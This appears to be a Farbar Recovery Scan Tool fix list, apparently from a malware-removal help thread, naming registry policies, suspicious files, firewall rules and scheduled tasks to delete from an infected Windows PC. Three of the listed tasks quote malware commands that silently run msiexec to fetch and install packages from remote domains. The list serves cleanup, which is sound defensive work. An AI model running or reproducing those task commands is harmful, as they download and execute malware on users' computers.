CloseProcesses:
CreateRestorePoint:
EmptyTemp:
HKLM\SOFTWARE\Policies\Microsoft\Windows Defender: Ograniczenia <==== UWAGA
HKU\S-1-5-21-337966470-3633895276-3358962371-1001\...\Run: [AdobeBridge] => [X]
HKU\S-1-5-21-337966470-3633895276-3358962371-1001\...\MountPoints2: {43723b97-eb31-11e8-86c8-342387f6a48c} - "G:\SETUP.EXE" 
IFEO\LogTransport2.exe: [Debugger] 0
CHR HKLM\SOFTWARE\Policies\Google: Ograniczenia <==== UWAGA
Tcpip\..\Interfaces\{73fc2d52-8e6a-45b0-84fb-a61b742fe841}: [DhcpNameServer] 192.168.1.1
FF Plugin-x32: @tools.google.com/Google Update;version=3 -> C:\Program Files (x86)\Google\Update\1.3.33.17\npGoogleUpdate3.dll [Brak pliku]
FF Plugin-x32: @tools.google.com/Google Update;version=9 -> C:\Program Files (x86)\Google\Update\1.3.33.17\npGoogleUpdate3.dll [Brak pliku]
CHR HKLM-x32\...\Chrome\Extension: [efaidnbmnnnibpcajpcglclefindmkaj] - hxxps://clients2.google.com/service/update2/crx
2018-12-07 16:14 - 2018-12-07 16:18 - 010956800 _____ (TigerTrade                                                  ) C:\ProgramData\wqjued.exe
1601-01-03 21:26 - 1601-01-03 21:26 - 000060416 ____N (Microsoft Corporation) C:\Program Files (x86)\aXIafdbFU.exe
2019-01-05 16:00 - 2019-01-05 16:00 - 000003584 _____ () C:\Users\lukso\AppData\Local\DCBC2A71-70D8-4DAN-EHR8-E0D61DEA3FDF.ini
2019-01-11 09:26 - 2019-01-11 09:27 - 006161408 _____ () C:\Users\lukso\AppData\Local\dump007.dat
2018-12-07 16:13 - 2018-12-07 16:13 - 000140800 _____ () C:\Users\lukso\AppData\Local\installer.dat
2018-12-07 16:16 - 2018-12-07 16:16 - 000000003 _____ () C:\Users\lukso\AppData\Local\wbem.ini
2019-01-10 12:47 - 2019-01-11 13:34 - 000000000 ____D () C:\Users\lukso\AppData\Local\Temp\IE8Shims.dll
ContextMenuHandlers5: [igfxcui] -> {3AB1675A-CCFF-11D2-8B20-00A0C93CB1F4} =>  -> Brak pliku
Task: {427AA132-3A82-4623-9609-53FB54BBC7C4} - System32\Tasks\ezdmwecrnlc => "msiexec" -package hxxps://superdomain1709.info/owgenedhwhetgux.czl /q
Task: {9707D830-3872-4CCA-8D2A-30D2E986AF56} - System32\Tasks\{D5B932B9-3985-32FE-D668-A92C0C99F269} => "msiexec" -q -i hxxps://refreshnerer711rb.info/27ZTRO1A.0xJ
Task: {E11C1224-18FB-43FA-B2A9-FDD2B146CCC4} - System32\Tasks\iaudponxwesd => "msiexec" /q -package hxxps://superdomain1709.info/eqbowylofjawmao.gep
Task: C:\Windows\Tasks\CreateExplorerShellUnelevatedTask.job => C:\Windows\explorer.exe
Task: C:\Windows\Tasks\Driver Easy Scheduled Scan.job => C:\Program Files\Easeware\DriverEasy\DriverEasy.exe
FirewallRules: [{0262DC45-AD3F-4B43-9DA8-CCFBF914FD87}] => (Allow) C:\Windows\SysWOW64\msiexec.exe (Microsoft Corporation)
FirewallRules: [{0EE4E98D-115C-48E8-A827-DB43FDC70AA2}] => (Allow) C:\Windows\SysWOW64\rOHFHYGya.exe (Microsoft Corporation)
FirewallRules: [{2D5C9A37-C86B-48D4-A65B-037A42DF0E55}] => (Allow) C:\Program Files (x86)\aXIafdbFU.exe (Microsoft Corporation)
FirewallRules: [{2F939A95-09F7-4AAB-932A-5B52F448A61D}] => (Allow) C:\Windows\SysWOW64\tracert.exe (Microsoft Corporation)
FirewallRules: [{A2E995E6-3FC0-4197-87F6-D2F195DD9572}] => (Allow) C:\Windows\SysWOW64\tracert.exe (Microsoft Corporation)
FirewallRules: [{8841998D-A736-4F09-A693-45C0DEA68CCE}] => (Allow) C:\Windows\SysWOW64\InstallShield\setup.exe (InstallShield Software Corporation)
FirewallRules: [{5961E44A-DAF5-429C-8899-8FCD3ECCB187}] => (Allow) C:\Windows\SysWOW64\tracert.exe (Microsoft Corporation)
FirewallRules: [{092463A2-2338-41D0-8258-F09C60B76934}] => (Allow) C:\Windows\SysWOW64\tracert.exe (Microsoft Corporation)
FirewallRules: [{BA8B45F9-1626-4548-AB80-1A761DE6753A}] => (Allow) C:\Windows\SysWOW64\InstallShield\setup.exe (InstallShield Software Corporation)
FirewallRules: [{C3A7D9AA-9A39-4327-A23E-B79B9F85AF4D}] => (Allow) C:\Windows\SysWOW64\tracert.exe (Microsoft Corporation)
FirewallRules: [{53D4A416-9ADF-43FC-ADF6-7198011EAD14}] => (Allow) C:\Windows\SysWOW64\tracert.exe (Microsoft Corporation)
FirewallRules: [{505432B6-D96F-444A-AAA7-52AD750C92A1}] => (Allow) C:\Windows\SysWOW64\InstallShield\setup.exe (InstallShield Software Corporation)
FirewallRules: [{A618FE67-3717-47CB-B1CA-CBBD9184E957}] => (Allow) C:\Windows\SysWOW64\tracert.exe (Microsoft Corporation)
FirewallRules: [{2FF74A1C-AFFF-4A74-96AB-E035FB8E80A3}] => (Allow) C:\Windows\SysWOW64\tracert.exe (Microsoft Corporation)
FirewallRules: [{AD622278-6236-4CD5-8CF8-1CDA45CF563E}] => (Allow) C:\Windows\SysWOW64\InstallShield\setup.exe (InstallShield Software Corporation)
FirewallRules: [{90A06515-AE2F-4A5E-B91B-F907C2008A00}] => (Allow) C:\Windows\SysWOW64\tracert.exe (Microsoft Corporation)
FirewallRules: [{E37426A4-760A-4753-BAA0-A04A66917A4F}] => (Allow) C:\Windows\SysWOW64\tracert.exe (Microsoft Corporation)
FirewallRules: [{0E6D281C-3E39-448A-AF14-8EFDA9F25050}] => (Allow) C:\Windows\SysWOW64\InstallShield\setup.exe (InstallShield Software Corporation)